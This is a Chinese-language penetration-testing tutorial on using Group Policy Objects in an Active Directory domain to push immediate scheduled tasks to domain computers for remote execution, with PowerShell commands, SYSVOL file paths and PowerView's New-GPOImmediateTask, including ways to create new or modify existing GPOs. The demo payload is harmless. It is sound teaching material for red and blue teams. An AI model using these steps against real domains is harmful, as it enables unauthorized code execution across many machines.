域渗透——利用GPO中的计划任务实现远程执行

栏目: 服务器 · 发布时间: 5年前

内容简介:在之前的文章本文将要介绍以下内容:· GPO中的计划任务简介

0x00 前言

在之前的文章 《渗透基础——Windows下计划任务的使用》 曾介绍过计划任务的用法。而在域环境中,通过组策略(Group Policy Object)同样能够实现计划任务的远程执行,本文将要对这个方法进行介绍,分析利用思路。

0x01 简介

本文将要介绍以下内容:

· GPO中的计划任务简介

· 通过Group Policy Management Console (GPMC) 实现计划任务的远程执行

· 通过命令行实现计划任务的远程执行

· 新建GPO实现远程执行

· 修改已有的GPO,实现远程执行

·GPO的常用操作

0x02 简介

值得阅读的资料:

http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/

https://adsecurity.org/?p=2716

http://www.sicherheitsforschung-magdeburg.de/uploads/journal/MJS_052_Willi_GPO.pdf

GPO全称Group Policy Objects,用来存储Active Directory中的策略。

自Windows Server 2008开始,GPO开始支持计划任务,便于管理域中的计算机和用户。

默认情况下,域用户的组策略每90分钟更新,随机偏移为0-30分钟,域控制器的组策略每5分钟更新。

注:可通过命令实现组策略的强制更新。

默认组策略的保存位置:\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\,所有域内主机都能访问。

注:之前的文章 《域渗透-利用SYSVOL还原组策略中保存的密码》 曾介绍过这个文件位置。

默认存在两个组策略,每个文件夹对应一个组策略:

·{6AC1786C-016F-11D2-945F-00C04fB984F9}对应Default Domain Controllers Policy

· {31B2F340-016D-11D2-945F-00C04FB984F9}对应Default Domain Policy

如下图:

域渗透——利用GPO中的计划任务实现远程执行

0x03 通过Group Policy Management Console (GPMC) 实现计划任务的远程执行

在域控制器上,位置: Administrative Tools -> Group Policy Management

如下图:

域渗透——利用GPO中的计划任务实现远程执行

选择域test.local,右键,选中第一个,创建GPO,如下图:

域渗透——利用GPO中的计划任务实现远程执行

输入名称TestGPO1,这会创建一个全局的GPO,作用于所有域用户。

选择TestGPO1,右键,Edit…

User Configuration -> Preferences -> Control Panel Settings -> Scheduled Tasks

New -> Immediate Task(Windows Vista and later),如下图:

域渗透——利用GPO中的计划任务实现远程执行

注:Immediate Task会在每次组策略刷新时执行。

四种计划任务的区别可参考官方文档:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc770904(v%3Dws.11)

注:也可以选择位置Computer Configuration -> Preferences -> Control Panel Settings -> Scheduled Tasks

接下来,根据提示设置计划任务即可。

为便于测试,执行的操作为将执行结果输出到文件,如下图:

域渗透——利用GPO中的计划任务实现远程执行

这个组策略对应的ID为{7D85A2EF-F525-4D8C-B12D-F2825F3A1224},在位置\\test.com\SYSVOL\test.com\Policies\{7D85A2EF-F525-4D8C-B12D-F2825F3A1224}\User\Preferences\ScheduledTasks下找到文件ScheduledTasks.xml,里面保存计划任务的配置信息。

对于域内的主机,可以等待90分钟使组策略自动更新,也可以在客户端执行如下命令强制刷新组策略:

gpupdate /force

客户端默认更新组策略的方式:

读取域共享目录中组策略的版本,位置为\\<domain.com>\Policies\<gpo id>\GPT.ini,如果版本高于本地保存的组策略版本,客户端将会更新本地的组策略。

每次修改组策略,\\<domain.com>\Policies\<gpo id>\GPT.ini中的Version会增加。

0x04 通过命令行实现计划任务的远程执行

域控制器系统: Windows Server 2012 R2 x64 域名: test.com

1、创建一个GPO

New-GPO -Name TestGPO1

2、 将GPO连到到域test.com

New-GPLink -Name TestGPO1 -Target "dc=test,dc=com"

注:两条命令可以简写为一条命令:

new-gpo -name TestGPO1 | new-gplink -Target "dc=test,dc=com"

通过命令行回显获得ID为0bfd3f0c-21a1-4eca-8a5e-1f0bd4dc64dc

3、创建计划任务

经过测试,没有找到创建计划任务的接口,直接在对应路径下创建文件即可。

创建文件夹\\test.com\SYSVOL\test.com\Policies\{0bfd3f0c-21a1-4eca-8a5e-1f0bd4dc64dc}\User\Preferences\ScheduledTasks

按照xml格式,创建文件ScheduledTasks.xml

注:为便于测试,可直接使用0x03中的ScheduledTasks.xml

也可以使用harmj0y开源的powershell脚本,地址如下:

https://github.com/PowerShellMafia/PowerSploit/blob/26a0757612e5654b4f792b012ab8f10f95d391c9/Recon/PowerView.ps1#L5907-L6122

为了在我的测试环境使用,我做了一些小的更改,将运行方式由Run whether user is logged on or not修改为Run only when user is logged on,修改后的脚本地址如下:

https://github.com/3gstudent/Homework-of-Powershell/blob/master/New-GPOImmediateTask(a little change).ps1

powershell的命令为:

New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO1 -CommandArguments '-c "123 | Out-File C:\test\debug.txt"' -Force

4、强制客户端刷新组策略

Invoke-GPUpdate -Computer "TEST\COMPUTER-01"

注:Windows Server 2008 R2默认不支持该命令,Windows Server 2012支持。

客户端的防火墙需要允许以下连接:

·Remote Scheduled Tasks Management (RPC)

·Remote Scheduled Tasks Management (RPC-ERMAP)

·Windows Management Instrumentation (WMI-IN)

官方资料:

https://docs.microsoft.com/en-us/powershell/module/grouppolicy/invoke-gpupdate?view=win10-ps

5、删除GPO

Remove-GPO -Name TestGPO1

注:通过Group Policy Management Console (GPMC)右键删除GPO不会删除对应的文件夹,Remove-GPO可以。

0x05 利用思路

前提是获得了域管理员的权限或者某个组策略的编辑权限。

通用操作如下:

加载GroupPolicy模块:

Import-Module GroupPolicy –verbose

获得所有GPO的内容:

Get-GPO -All

将所有GPO导出为一个HTML报告:

Get-GPOReport -All -ReportType html -Path C:\GposReport\GposReport.html

将每个GPO单独导出一个HTML报告:

Get-GPO -All | %{
Get-GPOReport -name $_.displayname -ReportType html -path ("c:\GPOReports\"+$_.displayname+".html")
}

查看指定GPO的权限设置:

Get-GPPermission -Name "TestGPO1" -All

备份指定GPO:

Backup-Gpo -Name TestGPO1 -Path C:\GpoBackups

备份所有GPO:

Backup-Gpo -All -Path "c:\GpoBackups"

还原指定GPO:

Restore-GPO -Name TestGPO1 -Path C:\GpoBackups

还原所有GPO:

Restore-GPO -All -Path "c:\GpoBackups"

根据不同情况,有以下两种利用思路:

1、新建组策略,创建计划任务实现远程执行

创建:

New-GPLink -Name TestGPO1 -Target "dc=test,dc=com"

添加计划任务:

New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO1 -CommandArguments '-c "123 | Out-File C:\test\debug.txt"' -Force

强制客户端刷新组策略:

Invoke-GPUpdate -Computer "TEST\COMPUTER-01"

删除GPO

Remove-GPO -Name TestGPO1

2、修改已有组策略,创建或者替换计划任务

创建计划任务:

创建文件ScheduledTasks.xml

删除GPO中的计划任务:

删除文件ScheduledTasks.xml

0x06 GPO的常用操作

创建OU:

New-ADOrganizationalUnit -Name OUTest1 -Path "dc=test,dc=com"

查看当前域中的所有计算机:

dsquery computer

获得结果"CN=Computer1,CN=Computers,DC=test,DC=com"

将该计算机加到OU=OUTest1中:

dsmove "CN=Computer1,CN=Computers,DC=test,DC=com" -newparent OU=OUTest1,dc=test,dc=com

查询OU=OUTest1中的计算机:

dsquery computer OU=OUTest1,dc=test,dc=com

创建GPO并连接:

new-gpo -name TestGPO | new-gplink -Target "OU=OUTest1,dc=test,dc=com"

还原:

将计算机Computer1从OU=OUTest1中移除

dsmove "CN=Computer1,OU=OUTest1,DC=test,DC=com" -newparent CN=Computers,dc=test,dc=com

删除OU=OUTest1:

set-ADOrganizationalUnit -Identity "OU=OUTest1,dc=test,dc=com" -ProtectedFromAccidentalDeletion $false
Remove-ADOrganizationalUnit -Identity "OU=OUTest1,dc=test,dc=com" -Recursive -Confirm:$False

0x07 小结

本文介绍了利用GPO中的计划任务实现远程执行的方法,分析利用思路,通过命令行实现了GPO和计划任务的创建、修改和删除。


以上所述就是小编给大家介绍的《域渗透——利用GPO中的计划任务实现远程执行》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

无处不在的算法

无处不在的算法

[德]贝特霍尔德·弗金、赫尔穆特·阿尔特 / 机械工业出版社 / 2018-1-1

本书以简单易懂的写作风格,通过解决现实世界常见的问题来介绍各种算法技术,揭示了算法的设计与分析思想。全书共有41章,分为四大部分,图文并茂,把各种算法的核心思想讲得浅显易懂。本书可作为高等院校算法相关课程的本科生教材,也可作为研究人员、专业技术人员的常备参考书。一起来看看 《无处不在的算法》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具